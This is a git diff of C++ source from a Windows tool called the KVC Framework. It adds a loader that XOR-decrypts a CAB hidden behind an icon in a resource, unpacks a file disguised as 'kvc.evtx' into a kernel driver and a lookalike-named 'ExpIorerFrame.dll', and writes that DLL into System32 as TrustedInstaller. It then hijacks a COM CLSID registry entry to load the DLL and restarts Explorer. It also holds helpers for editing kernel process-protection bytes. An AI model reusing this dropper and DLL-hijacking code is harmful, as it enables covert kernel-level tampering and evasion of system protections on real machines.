static INT_PTR DIAMONDAPI fdi_open(char* pszFile, int oflag, int pmode) {
|
||||
return g_cabContext ? (INT_PTR)g_cabContext : -1;
|
||||
}
|
||||
|
||||
// FDI file read - reads from memory buffer
|
||||
static UINT DIAMONDAPI fdi_read(INT_PTR hf, void* pv, UINT cb) {
|
||||
MemoryReadContext* ctx = (MemoryReadContext*)hf;
|
||||
if (!ctx) return 0;
|
||||
|
||||
size_t remaining = ctx->size - ctx->offset;
|
||||
size_t to_read = (cb < remaining) ? cb : remaining;
|
||||
|
||||
if (to_read > 0) {
|
||||
memcpy(pv, ctx->data + ctx->offset, to_read);
|
||||
ctx->offset += to_read;
|
||||
}
|
||||
|
||||
return static_cast<UINT>(to_read);
|
||||
}
|
||||
|
||||
// FDI file write - writes to current file buffer
|
||||
static UINT DIAMONDAPI fdi_write(INT_PTR hf, void* pv, UINT cb) {
|
||||
if (g_currentFileData && cb > 0) {
|
||||
BYTE* data = static_cast<BYTE*>(pv);
|
||||
g_currentFileData->insert(g_currentFileData->end(), data, data + cb);
|
||||
}
|
||||
return cb;
|
||||
}
|
||||
|
||||
// FDI file close
|
||||
static int DIAMONDAPI fdi_close(INT_PTR hf) {
|
||||
g_currentFileData = nullptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// FDI file seek - seeks in memory buffer
|
||||
static LONG DIAMONDAPI fdi_seek(INT_PTR hf, LONG dist, int seektype) {
|
||||
MemoryReadContext* ctx = (MemoryReadContext*)hf;
|
||||
if (!ctx) return -1;
|
||||
|
||||
switch (seektype) {
|
||||
case SEEK_SET: ctx->offset = dist; break;
|
||||
case SEEK_CUR: ctx->offset += dist; break;
|
||||
case SEEK_END: ctx->offset = ctx->size + dist; break;
|
||||
}
|
||||
|
||||
return static_cast<LONG>(ctx->offset);
|
||||
}
|
||||
|
||||
// FDI notification callback - handles file extraction
|
||||
static INT_PTR DIAMONDAPI fdi_notify(FDINOTIFICATIONTYPE fdint, PFDINOTIFICATION pfdin) {
|
||||
std::vector<BYTE>* extractedData = static_cast<std::vector<BYTE>*>(pfdin->pv);
|
||||
|
||||
switch (fdint) {
|
||||
case fdintCOPY_FILE:
|
||||
// Extract kvc.evtx file
|
||||
if (pfdin->psz1) {
|
||||
std::string filename = pfdin->psz1;
|
||||
if (filename.find("kvc.evtx") != std::string::npos) {
|
||||
g_currentFileData = extractedData;
|
||||
return (INT_PTR)g_cabContext;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
|
||||
case fdintCLOSE_FILE_INFO:
|
||||
g_currentFileData = nullptr;
|
||||
return TRUE;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Decompress CAB from memory and extract kvc.evtx
|
||||
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept
|
||||
{
|
||||
std::vector<BYTE> extractedFile;
|
||||
|
||||
MemoryReadContext ctx = { cabData, cabSize, 0 };
|
||||
g_cabContext = &ctx;
|
||||
|
||||
ERF erf{};
|
||||
HFDI hfdi = FDICreate(fdi_alloc, fdi_free, fdi_open, fdi_read,
|
||||
fdi_write, fdi_close, fdi_seek, cpuUNKNOWN, &erf);
|
||||
|
||||
if (!hfdi) {
|
||||
DEBUG(L"FDICreate failed: %d", erf.erfOper);
|
||||
g_cabContext = nullptr;
|
||||
return extractedFile;
|
||||
}
|
||||
|
||||
char cabName[] = "memory.cab";
|
||||
char cabPath[] = "";
|
||||
|
||||
BOOL result = FDICopy(hfdi, cabName, cabPath, 0, fdi_notify, nullptr, &extractedFile);
|
||||
|
||||
FDIDestroy(hfdi);
|
||||
g_cabContext = nullptr;
|
||||
|
||||
if (!result) {
|
||||
DEBUG(L"FDICopy failed: %d", erf.erfOper);
|
||||
return std::vector<BYTE>();
|
||||
}
|
||||
|
||||
return extractedFile;
|
||||
}
|
||||
|
||||
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
|
||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept
|
||||
{
|
||||
if (kvcData.size() < 2) {
|
||||
DEBUG(L"kvc.evtx too small");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Find all MZ signatures (PE file start markers)
|
||||
std::vector<size_t> peOffsets;
|
||||
for (size_t i = 0; i < kvcData.size() - 1; i++) {
|
||||
if (kvcData[i] == 0x4D && kvcData[i + 1] == 0x5A) { // MZ signature
|
||||
peOffsets.push_back(i);
|
||||
}
|
||||
}
|
||||
|
||||
if (peOffsets.size() != 2) {
|
||||
DEBUG(L"Expected 2 PE files in kvc.evtx, found %zu", peOffsets.size());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Extract both PE files
|
||||
size_t firstStart = peOffsets[0];
|
||||
size_t firstEnd = peOffsets[1];
|
||||
size_t secondStart = peOffsets[1];
|
||||
size_t secondEnd = kvcData.size();
|
||||
|
||||
std::vector<BYTE> firstPE(kvcData.begin() + firstStart, kvcData.begin() + firstEnd);
|
||||
std::vector<BYTE> secondPE(kvcData.begin() + secondStart, kvcData.begin() + secondEnd);
|
||||
|
||||
// Identify which is driver vs DLL by checking PE subsystem
|
||||
auto isDriver = [](const std::vector<BYTE>& pe) -> bool {
|
||||
if (pe.size() < 0x200) return false;
|
||||
|
||||
DWORD peOffset = *reinterpret_cast<const DWORD*>(&pe[0x3C]);
|
||||
if (peOffset + 0x5C >= pe.size()) return false;
|
||||
|
||||
WORD subsystem = *reinterpret_cast<const WORD*>(&pe[peOffset + 0x5C]);
|
||||
return (subsystem == 1); // IMAGE_SUBSYSTEM_NATIVE = kernel driver
|
||||
};
|
||||
|
||||
bool firstIsDriver = isDriver(firstPE);
|
||||
bool secondIsDriver = isDriver(secondPE);
|
||||
|
||||
// Assign outputs based on subsystem detection
|
||||
if (firstIsDriver && !secondIsDriver) {
|
||||
outKvcSys = firstPE;
|
||||
outDll = secondPE;
|
||||
} else if (!firstIsDriver && secondIsDriver) {
|
||||
outKvcSys = secondPE;
|
||||
outDll = firstPE;
|
||||
} else {
|
||||
DEBUG(L"Could not identify driver vs DLL in kvc.evtx");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes",
|
||||
outKvcSys.size(), outDll.size());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Extract kvc.sys and ExpIorerFrame.dll from resource CAB
|
||||
bool ExtractResourceComponents(int resourceId,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept
|
||||
{
|
||||
DEBUG(L"[EXTRACT] Loading resource %d", resourceId);
|
||||
|
||||
// Step 1: Load resource
|
||||
auto resourceData = ReadResource(resourceId, RT_RCDATA);
|
||||
if (resourceData.size() <= 3774) {
|
||||
ERROR(L"[EXTRACT] Resource too small");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Skip icon (3774 bytes)
|
||||
std::vector<BYTE> encryptedCAB(
|
||||
resourceData.begin() + 3774,
|
||||
resourceData.end()
|
||||
);
|
||||
|
||||
DEBUG(L"[EXTRACT] Encrypted CAB size: %zu bytes", encryptedCAB.size());
|
||||
|
||||
// Step 3: XOR decrypt
|
||||
auto decryptedCAB = DecryptXOR(encryptedCAB, KVC_XOR_KEY);
|
||||
if (decryptedCAB.empty()) {
|
||||
ERROR(L"[EXTRACT] XOR decryption failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 4: CAB decompress → kvc.evtx
|
||||
auto kvcEvtxData = DecompressCABFromMemory(decryptedCAB.data(), decryptedCAB.size());
|
||||
if (kvcEvtxData.empty()) {
|
||||
ERROR(L"[EXTRACT] CAB decompression failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[EXTRACT] kvc.evtx extracted: %zu bytes", kvcEvtxData.size());
|
||||
|
||||
// Step 5: Split into kvc.sys + ExpIorerFrame.dll
|
||||
if (!SplitKvcEvtx(kvcEvtxData, outKvcSys, outDll)) {
|
||||
ERROR(L"[EXTRACT] Failed to split kvc.evtx");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes",
|
||||
outKvcSys.size(), outDll.size());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace Utils
|
||||
352
kvc/Utils.h
352
kvc/Utils.h
@@ -1,14 +1,6 @@
|
||||
/**
|
||||
* @file Utils.h
|
||||
* @brief Core utility functions declarations for KVC Framework
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Header file containing declarations for process management, memory operations,
|
||||
* protection level handling, and various system utilities.
|
||||
* Centralized utilities used throughout the KVC Framework.
|
||||
*/
|
||||
// Utils.h
|
||||
// Core utility functions for KVC Framework
|
||||
// Author: Marek Wesolowski, 2025
|
||||
|
||||
#pragma once
|
||||
|
||||
@@ -20,204 +12,80 @@
|
||||
#include <vector>
|
||||
#include <array>
|
||||
|
||||
/**
|
||||
* @namespace Utils
|
||||
* @brief Core utility functions namespace for KVC Framework
|
||||
*
|
||||
* Provides essential utilities for:
|
||||
* - String and numeric parsing
|
||||
* - File and resource operations
|
||||
* - Process name resolution
|
||||
* - Kernel address operations
|
||||
* - Protection level bit manipulation
|
||||
* - String conversion utilities
|
||||
* - Process dumpability analysis
|
||||
* - Hex string utilities
|
||||
* - PE binary manipulation
|
||||
* - Console coloring utilities
|
||||
*/
|
||||
namespace Utils
|
||||
{
|
||||
// ============================================================================
|
||||
// STRING AND NUMERIC PARSING UTILITIES
|
||||
// STRING AND NUMERIC PARSING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Parses PID from string with validation
|
||||
* @param pidStr String containing PID value
|
||||
* @return std::optional<DWORD> Parsed PID or nullopt on invalid input
|
||||
* @note Validates numeric range and format
|
||||
* @note Returns nullopt for non-numeric strings or invalid PIDs
|
||||
*/
|
||||
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Checks if string contains only numeric characters
|
||||
* @param str String to validate
|
||||
* @return bool true if string is numeric
|
||||
* @note Empty string returns false
|
||||
* @note Handles Unicode numeric characters
|
||||
*/
|
||||
bool IsNumeric(const std::wstring& str) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// FILE AND RESOURCE OPERATIONS (RENAMED TO AVOID WINAPI CONFLICTS)
|
||||
// FILE AND RESOURCE OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Reads file contents into byte vector
|
||||
* @param path File path to read
|
||||
* @return std::vector<BYTE> File contents or empty on failure
|
||||
* @note Renamed from ReadFile to avoid conflict with Windows API
|
||||
* @note Maximum file size: 256MB for safety
|
||||
* @note Uses memory-mapped files for large files
|
||||
*/
|
||||
// Read file into byte vector
|
||||
std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Reads embedded resource from executable
|
||||
* @param resourceId Resource identifier
|
||||
* @param resourceType Resource type (e.g., RT_RCDATA)
|
||||
* @return std::vector<BYTE> Resource data or empty on failure
|
||||
* @note Uses FindResource/LoadResource Windows API
|
||||
* @note Returns empty vector if resource not found
|
||||
*/
|
||||
// Read embedded resource from executable
|
||||
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
|
||||
|
||||
/**
|
||||
* @brief Writes byte vector to file with error handling
|
||||
* @param path File path to write
|
||||
* @param data Data to write
|
||||
* @return bool true on successful write
|
||||
* @note Renamed from WriteFile to avoid conflict with Windows API
|
||||
* @note Handles large files with chunked writing
|
||||
* @note Creates directory structure if needed
|
||||
*/
|
||||
// Write byte vector to file
|
||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Force deletes file by removing attributes and using fallback methods
|
||||
* @param path File path to delete
|
||||
* @return bool true if file deleted successfully
|
||||
* @note Removes read-only, system, and hidden attributes
|
||||
* @note Uses multiple deletion strategies for stubborn files
|
||||
* @note Handles file locking and sharing violations
|
||||
*/
|
||||
// Force delete file with attribute removal
|
||||
bool ForceDeleteFile(const std::wstring& path) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS NAME RESOLUTION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Resolves process name from PID using multiple methods
|
||||
* @param pid Process ID to resolve
|
||||
* @return std::wstring Process name or "[Unknown]"
|
||||
* @note Attempts: Toolhelp32, OpenProcess+GetModuleFileName, NtQuerySystemInformation
|
||||
* @note Returns "[Unknown]" if all methods fail
|
||||
* @note Caches results for performance
|
||||
*/
|
||||
std::wstring GetProcessName(DWORD pid) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Creates descriptive identifier for unknown protected processes
|
||||
* @param pid Process ID
|
||||
* @param kernelAddress Kernel EPROCESS address
|
||||
* @param protectionLevel Protection level byte
|
||||
* @param signerType Signer type byte
|
||||
* @return std::wstring Descriptive process identifier
|
||||
* @note Format: "Protected_Process_[PID]_[Address]_[ProtectionLevel]"
|
||||
* @note Used when process name cannot be resolved normally
|
||||
*/
|
||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// KERNEL OPERATIONS (INLINE OPTIMIZED)
|
||||
// KERNEL OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Resolves kernel base address with caching
|
||||
* @return std::optional<ULONG_PTR> Kernel base or nullopt on failure
|
||||
* @note Uses NtQuerySystemInformation with SystemModuleInformation
|
||||
* @note Caches result for 5000ms for performance
|
||||
* @note Returns ntoskrnl.exe base address
|
||||
*/
|
||||
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Calculates kernel address from base and offset
|
||||
* @param base Kernel base address
|
||||
* @param offset Offset from base
|
||||
* @return ULONG_PTR Calculated kernel address
|
||||
* @note Simple addition operation, marked constexpr for compile-time evaluation
|
||||
* @note Used for calculating EPROCESS field addresses
|
||||
*/
|
||||
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
|
||||
{
|
||||
return base + offset;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROTECTION LEVEL BIT MANIPULATION (INLINE FOR PERFORMANCE)
|
||||
// PROTECTION LEVEL BIT MANIPULATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Extracts protection level from combined byte
|
||||
* @param protection Combined protection byte
|
||||
* @return UCHAR Protection level (lower 3 bits)
|
||||
* @note Values: 0=None, 1=ProtectedLight, 2=Protected
|
||||
* @note Uses bitmask 0x07 to extract lower 3 bits
|
||||
*/
|
||||
// Extract protection level from combined byte (lower 3 bits)
|
||||
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
|
||||
{
|
||||
return protection & 0x07;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extracts signer type from combined byte
|
||||
* @param protection Combined protection byte
|
||||
* @return UCHAR Signer type (upper 4 bits)
|
||||
* @note Values: 0=None, 1=Authenticode, 3=Antimalware, 6=WinTcb, etc.
|
||||
* @note Uses bitmask 0xF0 and right shift to extract upper 4 bits
|
||||
*/
|
||||
// Extract signer type from combined byte (upper 4 bits)
|
||||
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
|
||||
{
|
||||
return (protection & 0xF0) >> 4;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Combines protection level and signer into single byte
|
||||
* @param protectionLevel Protection level (0-7)
|
||||
* @param signerType Signer type (0-15)
|
||||
* @return UCHAR Combined protection byte
|
||||
* @note Format: [SignerType:4 bits][ProtectionLevel:3 bits][0:1 bit]
|
||||
* @note Used for writing protection values to kernel memory
|
||||
*/
|
||||
// Combine protection level and signer into single byte
|
||||
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
|
||||
{
|
||||
return (signerType << 4) | protectionLevel;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extracts signature level value
|
||||
* @param signatureLevel Raw signature level byte
|
||||
* @return UCHAR Signature level value
|
||||
* @note Uses bitmask 0x0F to extract lower 4 bits
|
||||
* @note Signature level indicates code signing verification level
|
||||
*/
|
||||
// Extract signature level value (lower 4 bits)
|
||||
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
|
||||
{
|
||||
return signatureLevel & 0x0F;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Extracts section signature level value
|
||||
* @param sectionSignatureLevel Raw section signature level byte
|
||||
* @return UCHAR Section signature level value
|
||||
* @note Uses bitmask 0x0F to extract lower 4 bits
|
||||
* @note Section signature level indicates DLL signature verification level
|
||||
*/
|
||||
// Extract section signature level value (lower 4 bits)
|
||||
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
|
||||
{
|
||||
return sectionSignatureLevel & 0x0F;
|
||||
@@ -227,108 +95,30 @@ namespace Utils
|
||||
// PROTECTION LEVEL STRING CONVERSIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Converts protection level to human-readable string
|
||||
* @param protectionLevel Protection level byte
|
||||
* @return const wchar_t* String representation ("None", "PPL", "PP")
|
||||
* @note Returns "Unknown" for invalid protection levels
|
||||
* @note Used for display and logging purposes
|
||||
*/
|
||||
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Converts signer type to human-readable string
|
||||
* @param signerType Signer type byte
|
||||
* @return const wchar_t* String representation (e.g., "Windows", "Antimalware")
|
||||
* @note Returns "Unknown" for invalid signer types
|
||||
* @note Maps PS_PROTECTED_SIGNER enum values to strings
|
||||
*/
|
||||
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Converts signature level to human-readable string
|
||||
* @param signatureLevel Signature level byte
|
||||
* @return const wchar_t* String representation
|
||||
* @note Returns numeric value as string for unknown levels
|
||||
* @note Used for displaying code signing information
|
||||
*/
|
||||
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Converts section signature level to human-readable string
|
||||
* @param sectionSignatureLevel Section signature level byte
|
||||
* @return const wchar_t* String representation
|
||||
* @note Returns numeric value as string for unknown levels
|
||||
* @note Used for displaying DLL signing information
|
||||
*/
|
||||
const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// STRING TO ENUM PARSING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Parses protection level string to enum value
|
||||
* @param protectionLevel String like "PP", "PPL", "None"
|
||||
* @return std::optional<UCHAR> Protection level value or nullopt
|
||||
* @note Case-insensitive matching
|
||||
* @note Supports "PP", "PPL", "None", "0", "1", "2" formats
|
||||
*/
|
||||
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Parses signer type string to enum value
|
||||
* @param signerType String like "Windows", "Antimalware"
|
||||
* @return std::optional<UCHAR> Signer type value or nullopt
|
||||
* @note Case-insensitive matching
|
||||
* @note Supports: WinTcb, Windows, Antimalware, Lsa, WinSystem, etc.
|
||||
*/
|
||||
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Gets recommended signature level for signer type
|
||||
* @param signerType Signer type enumeration value
|
||||
* @return std::optional<UCHAR> Signature level or nullopt
|
||||
* @note Provides reasonable defaults for different signer types
|
||||
* @note Used when setting new protection levels
|
||||
*/
|
||||
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Gets recommended section signature level for signer type
|
||||
* @param signerType Signer type enumeration value
|
||||
* @return std::optional<UCHAR> Section signature level or nullopt
|
||||
* @note Provides reasonable defaults for different signer types
|
||||
* @note Used when setting new protection levels
|
||||
*/
|
||||
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS DUMPABILITY ANALYSIS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Result structure for process dumpability analysis
|
||||
*
|
||||
* Contains analysis result indicating whether a process can be memory dumped
|
||||
* and the detailed reason for the decision.
|
||||
*/
|
||||
struct ProcessDumpability
|
||||
{
|
||||
bool CanDump; ///< Whether process can be dumped
|
||||
std::wstring Reason; ///< Detailed reason for dumpability status
|
||||
bool CanDump;
|
||||
std::wstring Reason;
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Analyzes whether process can be memory dumped
|
||||
* @param pid Process ID
|
||||
* @param processName Process executable name
|
||||
* @param protectionLevel Current protection level
|
||||
* @param signerType Digital signature authority
|
||||
* @return ProcessDumpability Analysis result with reason
|
||||
* @note Considers protection level, signer type, and process name
|
||||
* @note Some protected processes cannot be dumped for security reasons
|
||||
*/
|
||||
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
|
||||
@@ -336,103 +126,59 @@ namespace Utils
|
||||
// HEX STRING UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Converts hex string to byte array
|
||||
* @param hexString Hex string (supports 0x prefix, spaces, commas)
|
||||
* @param bytes Output byte vector
|
||||
* @return bool true if conversion successful
|
||||
* @note Handles both uppercase and lowercase hex
|
||||
* @note Skips whitespace and common separators
|
||||
* @note Returns false for invalid hex characters
|
||||
*/
|
||||
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Validates hex string format
|
||||
* @param hexString String to validate
|
||||
* @return bool true if valid hex string
|
||||
* @note Allows 0x prefix, spaces, commas as separators
|
||||
* @note Requires even number of hex digits after cleaning
|
||||
*/
|
||||
bool IsValidHexString(const std::wstring& hexString) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// PE BINARY MANIPULATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Gets length of PE file from binary data
|
||||
* @param data Binary data containing PE file
|
||||
* @param offset Starting offset in data
|
||||
* @return std::optional<size_t> PE file length or nullopt on invalid PE
|
||||
* @note Validates DOS and NT headers
|
||||
* @note Calculates length from section table
|
||||
* @note Returns nullopt for invalid PE headers
|
||||
*/
|
||||
// Get PE file length from binary data
|
||||
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Splits combined PE binary into separate components
|
||||
* @param combined Combined PE data
|
||||
* @param first Output for first PE component
|
||||
* @param second Output for second PE component
|
||||
* @return bool true if splitting successful
|
||||
* @note Validates both PE structures before splitting
|
||||
* @note Used for extracting kvc_pass.exe and kvc_crypt.dll from kvc.dat
|
||||
*/
|
||||
// Split combined PE binary (used for kvc.dat extraction)
|
||||
bool SplitCombinedPE(const std::vector<BYTE>& combined,
|
||||
std::vector<BYTE>& first,
|
||||
std::vector<BYTE>& second) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Decrypts data using XOR cipher
|
||||
* @param encryptedData Data to decrypt
|
||||
* @param key XOR key (7 bytes)
|
||||
* @return std::vector<BYTE> Decrypted data or empty on failure
|
||||
* @note Uses repeating key pattern for decryption
|
||||
* @note Used for decrypting embedded driver and binaries
|
||||
*/
|
||||
// XOR decryption with 7-byte key
|
||||
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
|
||||
const std::array<BYTE, 7>& key) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// CONSOLE COLORING UTILITIES
|
||||
// CAB DECOMPRESSION AND WATERMARK EXTRACTION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief ANSI color codes for process display
|
||||
*
|
||||
* Provides color coding for different process trust levels and types
|
||||
* in console output. Uses ANSI escape sequences.
|
||||
*/
|
||||
struct ProcessColors {
|
||||
static constexpr const wchar_t* GREEN = L"\033[92m"; ///< System processes (WinTcb, WinSystem)
|
||||
static constexpr const wchar_t* RED = L"\033[91m"; ///< LSA processes (critical security)
|
||||
static constexpr const wchar_t* YELLOW = L"\033[93m"; ///< User/Antimalware processes
|
||||
static constexpr const wchar_t* BLUE = L"\033[94m"; ///< Unchecked signatures
|
||||
static constexpr const wchar_t* PURPLE = L"\033[95m"; ///< SYSTEM ONLY!(always 4)
|
||||
static constexpr const wchar_t* CYAN = L"\033[96m"; ///< Windows Signer
|
||||
static constexpr const wchar_t* HEADER = L"\033[97;44m"; ///< Table headers (white on blue)
|
||||
static constexpr const wchar_t* RESET = L"\033[0m"; ///< Reset color to default
|
||||
};
|
||||
// Decompress CAB archive from memory and extract kvc.evtx
|
||||
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
|
||||
|
||||
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
|
||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept;
|
||||
|
||||
// Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll)
|
||||
bool ExtractResourceComponents(int resourceId,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// CONSOLE COLORING
|
||||
// ============================================================================
|
||||
|
||||
struct ProcessColors {
|
||||
static constexpr const wchar_t* GREEN = L"\033[92m";
|
||||
static constexpr const wchar_t* RED = L"\033[91m";
|
||||
static constexpr const wchar_t* YELLOW = L"\033[93m";
|
||||
static constexpr const wchar_t* BLUE = L"\033[94m";
|
||||
static constexpr const wchar_t* PURPLE = L"\033[95m";
|
||||
static constexpr const wchar_t* CYAN = L"\033[96m";
|
||||
static constexpr const wchar_t* HEADER = L"\033[97;44m";
|
||||
static constexpr const wchar_t* RESET = L"\033[0m";
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Enables ANSI virtual terminal processing for colored output
|
||||
* @return bool true if enabled successfully
|
||||
* @note Required for ANSI color codes to work on Windows 10+
|
||||
* @note Uses SetConsoleMode with ENABLE_VIRTUAL_TERMINAL_PROCESSING
|
||||
*/
|
||||
bool EnableConsoleVirtualTerminal() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Gets appropriate display color for process based on trust level
|
||||
* @param signerType Process signer type
|
||||
* @param signatureLevel Executable signature level
|
||||
* @param sectionSignatureLevel DLL signature level
|
||||
* @return const wchar_t* ANSI color code
|
||||
* @note Color coding: Green=System, Red=LSA, Yellow=User, Blue=Unchecked
|
||||
* @note Used in process listing and information display
|
||||
*/
|
||||
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
|
||||
UCHAR sectionSignatureLevel) noexcept;
|
||||
}
|
||||
234
kvc/WatermarkManager.cpp
Normal file
234
kvc/WatermarkManager.cpp
Normal file
@@ -0,0 +1,234 @@
|
||||
// WatermarkManager.cpp
|
||||
// Implementation of watermark removal via DLL hijacking
|
||||
|
||||
#include "WatermarkManager.h"
|
||||
#include "Utils.h"
|
||||
#include <tlhelp32.h>
|
||||
#include <iostream>
|
||||
|
||||
// Constructor
|
||||
WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller)
|
||||
: m_trustedInstaller(trustedInstaller)
|
||||
{
|
||||
}
|
||||
|
||||
// Main removal operation
|
||||
bool WatermarkManager::RemoveWatermark() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Starting watermark removal process");
|
||||
|
||||
// Extract ExpIorerFrame.dll from resource
|
||||
std::vector<BYTE> dllData;
|
||||
if (!ExtractWatermarkDLL(dllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size());
|
||||
|
||||
// Get System32 path
|
||||
std::wstring system32Path = GetSystem32Path();
|
||||
if (system32Path.empty()) {
|
||||
ERROR(L"[WATERMARK] Failed to locate System32 directory");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
|
||||
|
||||
// Write DLL using TrustedInstaller
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to deploy DLL to System32");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str());
|
||||
|
||||
// Hijack registry entry
|
||||
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
|
||||
HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) {
|
||||
ERROR(L"[WATERMARK] Failed to hijack registry entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Registry hijacked successfully");
|
||||
|
||||
// Restart Explorer to apply changes
|
||||
if (!RestartExplorer()) {
|
||||
ERROR(L"[WATERMARK] Failed to restart Explorer");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[WATERMARK] Watermark removed successfully");
|
||||
return true;
|
||||
}
|
||||
